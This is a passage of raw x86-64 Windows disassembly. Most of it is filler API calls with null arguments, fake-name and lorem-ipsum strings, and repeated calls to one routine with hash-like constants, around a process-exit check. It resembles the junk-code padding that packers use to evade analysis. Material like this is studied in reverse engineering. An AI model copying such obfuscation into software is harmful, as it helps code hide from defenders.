mov rax, qword [0x004ca9f0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac60]
mov dword [rdx], eax
mov rax, qword [0x004cae50]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca3d0]
lea rcx, str.MrsNicoletteRunteIII
mov dword [rdi], eax
call r14
mov rax, qword [0x004ca3e0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x468edd52
call r13
mov rax, qword [0x004ca1f0]
xor ecx, ecx
mov dword [rax], 0xe5671f55
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca1b0]
mov rdi, qword [0x004ca3d0]
mov ecx, 0xf53ca7d
mov dword [rax], 0xdc96f8a3
mov rax, qword [0x004ca7e0]
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00414620
mov rdx, qword [0x004ca4d0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cad50]
mov dword [rax], 0x1fdd2750
call rbx
mov rax, qword [0x004cad30]
xor ecx, ecx
mov dword [rax], 0x91920225
call rsi
mov ecx, 0x93e00e39
call fcn.00414620
mov rbx, qword [0x004ca500]
mov dword [rbx], eax
mov rax, qword [0x004ca640]
mov dword [rax], 0x99615a8a
mov rax, qword [0x004ca6e0]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca280]
mov dword [rbx], eax
mov rax, qword [0x004ca6b0]
mov edx, dword [rax]
mov rax, qword [0x004ca260]
mov dword [rax], edx
mov rcx, qword [rsp + 0x110]
lea rdx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0xa318
jle 0x41bbdb
mov rbx, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.AuroreHoppe
call rbx
mov rsi, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rsi
lea r8, str.ArielAufderhar
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca580]
mov rbp, qword [0x004caba0]
mov edx, dword [rax]
mov rax, qword [0x004ca350]
mov dword [rax], edx
mov rax, qword [0x004ca670]
mov dword [rax], 0x8766d1b4
mov rax, qword [0x004ca440]
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004ca770]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca270]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rax
call rax
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r13
mov rax, qword [0x004ca1f0]
mov edx, dword [rbp]
lea rcx, str.Explicabo_facilis_dolorem_et_quibusdam_maxime_quia_quae
mov r12, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov dword [rax], 0x92d966f2
mov rax, qword [0x004cabe0]
mov dword [rax], 0x15337856
mov rax, qword [0x004caf70]
mov dword [rax], edx
lea rdx, str.Est_adipisci_molestiae
call r12
mov r15, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Minima_beatae_non_iusto_accusamus_voluptates_animi_consequatur_voluptatem_deserunt
call r15
mov rax, qword [0x004ca750]
xor ecx, ecx
mov dword [rax], 0x58b2e1a1
call rdi
mov rax, qword [0x004cae80]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca3f0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
mov qword [rsp + 0x60], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rbp, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
lea rdx, str.Alias_hic_nisi_consequuntur_velit_aspernatur_autem_alias_est_neque
lea rcx, str.Rerum_et_ea_asperiores_modi_sed_aperiam_ut
call r12
xor ecx, ecx
call r13
lea rdx, str.GarlandFraneckiI
lea rcx, str.PearlineSchowalter
call r12
xor edx, edx
mov r12, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call r12
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
call r13
mov rax, qword [0x004caf80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9e0]
mov rcx, qword [0x004ca410]
mov dword [rdx], eax
mov rax, qword [0x004ca200]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
lea rcx, str.Ea_quia_doloremque_ut_eligendi_beatae_saepe
call rbx
mov ecx, 0x697028c0
call fcn.00414620
mov rdx, qword [0x004ca490]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca500]
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
xor edx, edx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbp
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004cac10]
mov ecx, 0xaaacab82
mov edx, dword [rax]
mov rax, qword [0x004ca460]
mov dword [rax], edx
mov rax, qword [0x004caf20]
mov edx, dword [rax]
mov rax, qword [0x004cac00]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca560]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [rdx], eax
call r14
mov rax, qword [0x004ca530]
xor edx, edx
lea rcx, str.ZoraHarber
mov dword [rax], 0x986971c8
call rbx
mov rax, qword [0x004caec0]
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca240]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004ca280]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cabc0]
mov dword [rax], edx
xor edx, edx
call r12
mov rax, qword [0x004caaf0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca6f0]
mov dword [rax], 0xdf1a42a5
call rsi
xor edx, edx
mov rsi, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
call rsi
mov r11, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov qword [rsp + 0x80], r11
call r11
mov rax, qword [0x004ca1e0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x10d7419e
call r12
xor edx, edx
lea rcx, str.Qui_sunt_corrupti_est_illum_aut_quam
call rbx
mov rax, qword [0x004cade0]
lea rcx, str.Libero_sint_ut_dicta_aut_sint
mov dword [rax], 0x7449256c
call r15
mov r10, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x78], r10
call r10
mov rax, qword [0x004ca1e0]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x004cabe0]
xor edx, edx
mov r15, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov dword [rax], 0x93a01b5d
mov rax, qword [0x004caae0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov r11, qword [rsp + 0x80]
xor ecx, ecx
call r11
mov rax, qword [str.eNl.h_Q]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x650dd3d2
mov rax, qword [0x004ca2b0]
mov dword [rax], 0x4bdfd738
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca410]
xor ecx, ecx
mov dword [rax], 0xf0718ba9
call r14
mov rax, qword [0x004caa70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca780]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca7a0]
mov rsi, qword [0x004ca7b0]
mov ecx, dword [rax]
mov dword [rsi], 0x993a1f03
call fcn.00414620
mov rdx, qword [0x004cae80]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cadf0]
mov edx, dword [rsi]
mov rsi, qword [0x004ca440]
mov dword [rax], 0xe3cc6b54
mov rax, qword [0x004cad30]
mov dword [rax], edx
mov rax, qword [0x004caa30]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004ca810]
mov r10, qword [rsp + 0x78]
xor ecx, ecx
mov rsi, qword [0x004ca670]
mov eax, dword [rax]
mov dword [rsi], eax
call r10
mov rax, qword [0x004caee0]
xor ecx, ecx
mov dword [rax], 0xebe3da6b
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call rdi
mov rax, qword [0x004ca560]
xor ecx, ecx
mov dword [rax], 0x266c7405
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0xbfe676c1
call fcn.00414620
mov rdx, qword [0x004cac80]
lea rcx, str.ProfDejahDanielPhD
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004ca2e0]
mov rbx, qword [0x004ca500]
mov eax, dword [rax]
mov dword [rbx], eax
cmp dword [rsp + 0xd0], 0x103
jne 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x1f2d
jne 0x41c503
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004ca1b0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x8cd23bdd
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov qword [rsp + 0x68], rax
call rax
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
call r13
mov rax, qword [0x004cac30]
mov rsi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rax], 0xea81b3a5
call rsi
mov r12, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r12
mov ecx, 0x43900caa
call fcn.00414620
mov rbx, qword [0x004caba0]
xor edx, edx
xor ecx, ecx
lea r8, str.Veritatis_sit_vel_et_velit_qui_blanditiis_quisquam
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x58], rax
call rax
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0xa0], r11
call r11
mov rax, qword [0x004ca5e0]
mov r10, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.MrMadisonGerlach
mov edx, dword [rax]
mov rax, qword [0x004caa30]
mov qword [rsp + 0x98], r10
mov dword [rax], edx
mov rax, qword [0x004ca310]
mov dword [rax], 0xcbba633a
call r10
xor ecx, ecx
call r12
mov rax, qword [0x004ca360]
mov ecx, 0x3f839cce
mov edx, dword [rax]
mov rax, qword [0x004cae10]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caa00]
mov r15, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
call r15
xor ecx, ecx
call rsi
mov rax, qword [0x004cac40]
xor edx, edx
xor ecx, ecx
lea r8, str.OrenHintz
mov dword [rax], 0xc0457959
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca540]
lea rcx, str.DrEinarKiehn
mov dword [rax], 0x89ab6c66
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x90], rax
call rax
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
call rdi
mov rax, qword [0x004ca810]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xde950f5e
mov rax, qword [0x004cabf0]
mov dword [rax], 0xbc54c4c1
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rbp, qword [0x004caf20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rbp], 0x36637e30
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004caed0]
mov dword [rax], 0xffba224
mov rax, qword [0x004ca220]
mov dword [rax], 0xc162f1f2
mov rax, qword [0x004ca510]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca5a0]
mov dword [rcx], eax
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbx
mov rbx, qword [0x004ca710]
mov ecx, dword [rbx]
call fcn.00414620
mov rdx, qword [0x004ca680]
mov rcx, qword [0x004ca1b0]
mov dword [rdx], eax
mov rax, qword [0x004ca380]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caa10]
mov ecx, dword [rax]
call fcn.00414620
mov dword [rbp], eax
mov rax, qword [0x004ca7c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [str.7U5]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca3d0]
mov eax, dword [rax]
mov dword [rbx], eax
call r15
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004caf10]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca390]
mov ecx, 0x2b0134a3
mov dword [rbx], eax
call fcn.00414620
mov rdx, qword [0x004caec0]
lea rcx, str.RichardWaelchi
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [0x004ca790]
xor ecx, ecx
mov dword [rax], 0xabd4290f
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
lea rcx, str.Occaecati_totam_nemo_et_blanditiis_sed_exercitationem
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004cadc0]
xor ecx, ecx
mov dword [rax], 0x514c43e
call r12
mov rbp, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Nihil_consequatur_vel_cum
lea rcx, str.Aut_impedit_sunt_error
call rbp
mov rax, qword [0x004caea0]
mov rbx, qword [0x004ca2e0]
xor ecx, ecx
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov eax, dword [rax]
mov dword [rbx], eax
call r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004ca5f0]
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0xd2d02472
call rbx
mov rax, qword [0x004ca420]
mov rcx, qword [0x004caf70]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rsi
xor ecx, ecx
call r14
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], rax
call rax
mov rax, qword [0x004ca6c0]
mov rdx, qword [0x004caaf0]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r14
mov ecx, 0x6c3582b1
call fcn.00414620
mov rcx, qword [0x004caba0]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004cabf0]
xor ecx, ecx
mov dword [rax], 0x53145a23
call r13
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
lea rdx, str.Quam_sint_commodi_quibusdam_sint_sed_qui
lea rcx, str.Delectus_consequatur_quia_autem_architecto_fugiat_ea_hic_quia_molestiae
call rbp
xor edx, edx
xor ecx, ecx
call r14
xor ecx, ecx
call rsi
mov rax, qword [0x004ca590]
mov dword [rax], 0x73f7919a
mov rax, qword [0x004cad50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca230]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca700]
mov dword [rax], 0xa62edfba
call r15
mov rax, qword [0x004ca2a0]
xor ecx, ecx
mov dword [rax], 0x6e0add19
mov rax, qword [0x004caed0]
mov dword [rax], 0x5c22bc4
call r15
mov rax, qword [0x004ca7c0]
mov r11, qword [rsp + 0xa0]
xor ecx, ecx
mov dword [rax], 0xcb7bc4c0
call r11
mov rax, qword [0x004ca5f0]
mov dword [rax], 0x6bcd1d12
mov rax, qword [0x004ca2f0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caf70]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call r13
mov rax, qword [0x004caf40]
mov rdx, qword [str.7U5]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor ecx, ecx
call rdi
mov rax, qword [0x004ca3b0]
mov ecx, 0xa49e7141
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004caca0]
lea rcx, str.SandyKohler
mov dword [rdx], eax
mov rax, qword [rsp + 0x90]
call rax
lea r8, str.NovellaErdman
xor ecx, ecx
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call r13
mov r11, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x90], r11
call r11
mov rax, qword [0x004cae80]
mov rcx, qword [0x004cadc0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
mov rax, qword [0x004cac30]
mov rdx, qword [0x004ca3d0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cae70]
mov ecx, 0xaed9c434
mov edx, dword [rax]
mov rax, qword [0x004ca1d0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca500]
mov ecx, 0xcd6ea7d6
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cad30]
xor ecx, ecx
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r10, qword [rsp + 0x98]
lea rcx, str.Non_saepe_qui_nesciunt_commodi_aliquam_sint_ut
call r10
mov rax, qword [0x004ca390]
mov dword [rax], 0x28a379b2
mov rax, qword [0x004ca2a0]
mov edx, dword [rax]
mov rax, qword [0x004ca550]
mov dword [rax], edx
mov rax, qword [0x004ca7b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa60]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor edx, edx
lea r8, str.Iste_eos_rem
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call r13
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
lea rcx, str.DrHarveyBashirian
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca320]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cadb0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca360]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca780]
mov dword [rax], edx
xor edx, edx
call r14
xor ecx, ecx
call r12
mov rax, qword [0x004cad20]
mov dword [rax], 0x3f43ee29
mov rax, qword [0x004cad10]
mov dword [rax], 0xa4835e47
mov rax, qword [0x004cabb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca9a0]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov r12, qword [0x004ca480]
mov ecx, dword [r12]
call fcn.00414620
mov rcx, qword [0x004ca230]
mov dword [rcx], eax
mov rax, qword [0x004cab40]
xor ecx, ecx
mov dword [rax], 0xe672bf1a
mov rax, qword [0x004caa50]
mov dword [rax], 0x1d462549
call rdi
xor ecx, ecx
call rsi
mov rax, qword [0x004ca210]
xor ecx, ecx
mov dword [rax], 0x91145df0
mov rax, qword [0x004ca2e0]
mov edx, dword [rax]
mov rax, qword [0x004cab60]
mov dword [rax], edx
call rbx
mov rax, qword [0x004cadd0]
mov ecx, 0xccd51801
mov dword [rax], 0x8bd43e60
call fcn.00414620
mov rdx, qword [0x004ca270]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004caf80]
mov dword [rax], 0x313ee9e1
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
lea rdx, str.Officia_ad_corrupti_maxime_blanditiis_molestiae_sit_et_et_rerum
lea rcx, str.Esse_tenetur_modi_qui_rem
call rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca590]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2d0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [str.eNl.h_Q]
mov rdx, qword [0x004ca680]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cac90]
mov rcx, qword [0x004ca1b0]
mov edx, dword [rax]
mov rax, qword [0x004ca750]
mov dword [rax], edx
mov rax, qword [0x004caa80]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rdi
mov rax, qword [0x004ca5a0]
xor ecx, ecx
mov dword [r12], 0x3a45cc87
mov edx, dword [rax]
mov rax, qword [0x004cabe0]
mov dword [rax], edx
mov rax, qword [rsp + 0x50]
call rax
mov r11, qword [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call r11
mov rax, qword [0x004cab10]
lea rcx, str.Dignissimos_ut_et_nemo_eaque_voluptatum_deleniti_itaque
mov edx, dword [rax]
mov rax, qword [0x004ca300]
mov dword [rax], edx
lea rdx, str.Occaecati_perferendis_itaque_nostrum_vero
call rbp
mov rax, qword [0x004caf60]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xec7adf90
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004ca580]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca770]
mov dword [rax], edx
call rsi
lea rdx, str.Voluptates_tempora_officia_qui_eum_asperiores_aut
lea rcx, str.Voluptates_eius_repellat_tempora_et_autem
call rbp
mov rax, qword [0x004caaf0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca720]
mov dword [rax], edx
mov rax, qword [0x004ca6a0]
mov dword [rax], 0xf1a7301
call rbx
or edx, 0xffffffff
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41d5d5
mov rax, qword [0x004caae0]
mov ecx, 0xb29466c2
mov dword [rax], 0x92c2ea85
call fcn.00414620
mov rsi, qword [0x004cac50]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x88], rax
call rax
mov rax, qword [0x004caf40]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004cabd0]
mov dword [rbx], eax
mov rax, qword [0x004ca1c0]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004cadf0]
mov rdi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rsi], eax
call rdi
mov rax, qword [0x004ca450]
mov rbx, qword [0x004caf40]
lea rdx, str.Suscipit_expedita_in_aliquid_voluptatem
mov rsi, qword [0x004ca2a0]
lea rcx, str.ErwinWillPhD
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004ca6e0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov qword [rsp + 0x50], rax
call rax
xor ecx, ecx
call rdi
mov rax, qword [0x004cab70]
mov rbx, qword [0x004ca3c0]
xor ecx, ecx
mov rsi, qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rax]
mov dword [rbx], eax
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rbp, qword [0x004cab20]
mov ecx, dword [rbp]
call fcn.00414620
mov rbx, qword [0x004caa90]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x70], rax
call rax
lea rdx, str.DrKadinJohns
lea rcx, str.Eligendi_rerum_enim_aut_placeat
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x98], rax
call rax
mov rbx, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004caa80]
mov ecx, 0x4f97856d
mov edx, dword [rax]
mov rax, qword [0x004cae80]
mov dword [rax], edx
mov rax, qword [0x004ca500]
mov rdx, qword [0x004ca360]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca250]
mov rcx, qword [0x004ca4d0]
mov dword [rdx], eax
mov rax, qword [0x004ca660]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca5f0]
mov dword [rax], 0x70b61626
mov rax, qword [0x004cad10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca540]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
mov qword [rsp + 0x90], rax
call rax
mov rax, qword [0x004ca5a0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xdc2fd2f0
mov rax, qword [rsp + 0x90]
call rax
mov rax, qword [0x004ca550]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x632f34b6
mov rax, qword [0x004ca400]
mov dword [rax], 0xe5957373
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov qword [rsp + 0x60], rax
call rax
mov ecx, 0xa25674cd
call fcn.00414620
mov rdx, qword [0x004cae40]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cad80]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca6e0]
mov dword [rcx], eax
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0xa0], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r12
mov rax, qword [0x004ca1b0]
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [rax], 0x8a7663d1
call r15
mov ecx, 0x52ad5a7
call fcn.00414620
mov rdx, qword [0x004cadd0]
lea rcx, str.JonathonNitzsche
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004cab40]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004caaa0]
